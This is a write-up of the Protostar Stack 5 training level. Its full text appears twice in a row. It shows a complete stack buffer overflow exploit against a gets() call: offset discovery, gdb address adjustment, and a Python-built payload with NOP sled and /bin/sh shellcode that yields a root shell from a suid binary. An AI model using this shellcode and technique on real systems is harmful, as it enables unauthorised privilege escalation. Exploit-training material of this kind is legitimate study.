Exploit Exercises - Protostar Stack 5

The first four levels of protostar were pretty straightforward and real bufferoverflows starts with the 5th. This is a description of how I owned it.

We have the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

It is very simple. It just creates a buffer and reads into it using gets. We can see that there’s bof here, boundaries are not checked during readint into buffer.

I begin exploitation with finding an offset to eip. I use a script which is a part of msf. It generates a uniq string which we pass to the executable:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Now I generate simple pattern.txtfile, containing generated pattern:

$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/pattern.txt

I run stack5 in gdb and use pattern.txt as input:

$ gdb stack5
...
(gdb) r < /tmp/pattern.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/pattern.txt

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

It says there was segfault at 0x63413563. Now I search for this bytes in the pattern:

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76

So we need to rewrite 76 bytes before rewriting eip.

Now we generate our test exploit, which is like JUNK + RET + NOPS + SHELLCODE:

$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + 'SHELLCODE'" > /tmp/exploit.txt

We can see that our nops and SHELLCODE string are in 0xbffff6a0

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffff6a0:	0x9090	0x9090	0x9090	0x9090	0x9090	0x4853	0x4c45	0x434c
0xbffff6b0:	0x444f	0x0045	0xffff	0xffff	0xeff4	0xb7ff	0x8232	0x0804
0xbffff6c0:	0x0001	0x0000	0xf700	0xbfff

I tried using shellcodes I found on shellstorm. It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin. So I used a shellcode from here. It reopens stdin, so it should work fine.

So we modify exploit.txt file with the right return address and the shellcode.

$ python -c "print 'A'*76 + '\xa0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

After running stack5 with exploit.txt as input inside gdb we got into sh:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Executing new program: /bin/dash
$

The exploit worked in gdb, but when I tried to run it from console it gave me segfault:

$ /opt/protostar/bin/stack5 < /tmp/exploit.txt
Segmentation fault

After a day of googling I found out that addresses inside and outside of gdb are different. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments before the beginning of the stack:

For example if we look at variables loaded in gdb we see some artifacts:

(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
LINES=24
COLUMNS=106

In the end we can see two variable which is not common for normal execution. I just unset them using the following commands:

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb

Now if we run our program in gdb we got error like the previous one. It says we had wrong return address:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0xbffff6bc in ?? ()

Now I needed to find return address again. We generate new exploit.txt with BBBB instead of return address:

$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Don’t forget to unset these env variables:

(gdb) unset env LINES
(gdb) unset env COLUMNS

Run stack5 with our exploit.txt file and examine stack after the program crashes:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/10x $esp
0xbffff6c0:	0x90909090	0x90909090	0xc0319090	0x06b0db31
0xbffff6d0:	0x685380cd	0x7974742f	0x65642f68	0x31e38976
0xbffff6e0:	0x12b966c9	0xcd05b027

Our shellcode (which has nops at the beginning) starts at 0xbffff6c0 Thus this address is a return address we need.

One important detail: there’s a difference between calling ./stac5k and /path/to/stack5: since argv[0] holds the program exactly how you invoked it, you need to ensure equal invocation strings. gdb uses absolute pathes for calling programs. That’s why I use /path/to/stack.

Now we can run our exploit and got root shell (because stack5 has suid bit set):

$ (python -c "print 'A'*76 + '\xc0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat;) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

The first four levels of protostar were pretty straightforward and real bufferoverflows starts with the 5th. This is a description of how I owned it.

We have the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

It is very simple. It just creates a buffer and reads into it using gets. We can see that there’s bof here, boundaries are not checked during readint into buffer.

I begin exploitation with finding an offset to eip. I use a script which is a part of msf. It generates a uniq string which we pass to the executable:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Now I generate simple pattern.txtfile, containing generated pattern:

$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/pattern.txt

I run stack5 in gdb and use pattern.txt as input:

$ gdb stack5
...
(gdb) r < /tmp/pattern.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/pattern.txt

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

It says there was segfault at 0x63413563. Now I search for this bytes in the pattern:

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76

So we need to rewrite 76 bytes before rewriting eip.

Now we generate our test exploit, which is like JUNK + RET + NOPS + SHELLCODE:

$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + 'SHELLCODE'" > /tmp/exploit.txt

We can see that our nops and SHELLCODE string are in 0xbffff6a0

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffff6a0:	0x9090	0x9090	0x9090	0x9090	0x9090	0x4853	0x4c45	0x434c
0xbffff6b0:	0x444f	0x0045	0xffff	0xffff	0xeff4	0xb7ff	0x8232	0x0804
0xbffff6c0:	0x0001	0x0000	0xf700	0xbfff

I tried using shellcodes I found on shellstorm. It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin. So I used a shellcode from here. It reopens stdin, so it should work fine.

So we modify exploit.txt file with the right return address and the shellcode.

$ python -c "print 'A'*76 + '\xa0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

After running stack5 with exploit.txt as input inside gdb we got into sh:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Executing new program: /bin/dash
$

The exploit worked in gdb, but when I tried to run it from console it gave me segfault:

$ /opt/protostar/bin/stack5 < /tmp/exploit.txt
Segmentation fault

After a day of googling I found out that addresses inside and outside of gdb are different. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments before the beginning of the stack:

For example if we look at variables loaded in gdb we see some artifacts:

(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
LINES=24
COLUMNS=106

In the end we can see two variable which is not common for normal execution. I just unset them using the following commands:

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb

Now if we run our program in gdb we got error like the previous one. It says we had wrong return address:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0xbffff6bc in ?? ()

Now I needed to find return address again. We generate new exploit.txt with BBBB instead of return address:

$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Don’t forget to unset these env variables:

(gdb) unset env LINES
(gdb) unset env COLUMNS

Run stack5 with our exploit.txt file and examine stack after the program crashes:

(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/10x $esp
0xbffff6c0:	0x90909090	0x90909090	0xc0319090	0x06b0db31
0xbffff6d0:	0x685380cd	0x7974742f	0x65642f68	0x31e38976
0xbffff6e0:	0x12b966c9	0xcd05b027

Our shellcode (which has nops at the beginning) starts at 0xbffff6c0 Thus this address is a return address we need.

One important detail: there’s a difference between calling ./stac5k and /path/to/stack5: since argv[0] holds the program exactly how you invoked it, you need to ensure equal invocation strings. gdb uses absolute pathes for calling programs. That’s why I use /path/to/stack.

Now we can run our exploit and got root shell (because stack5 has suid bit set):

$ (python -c "print 'A'*76 + '\xc0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat;) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root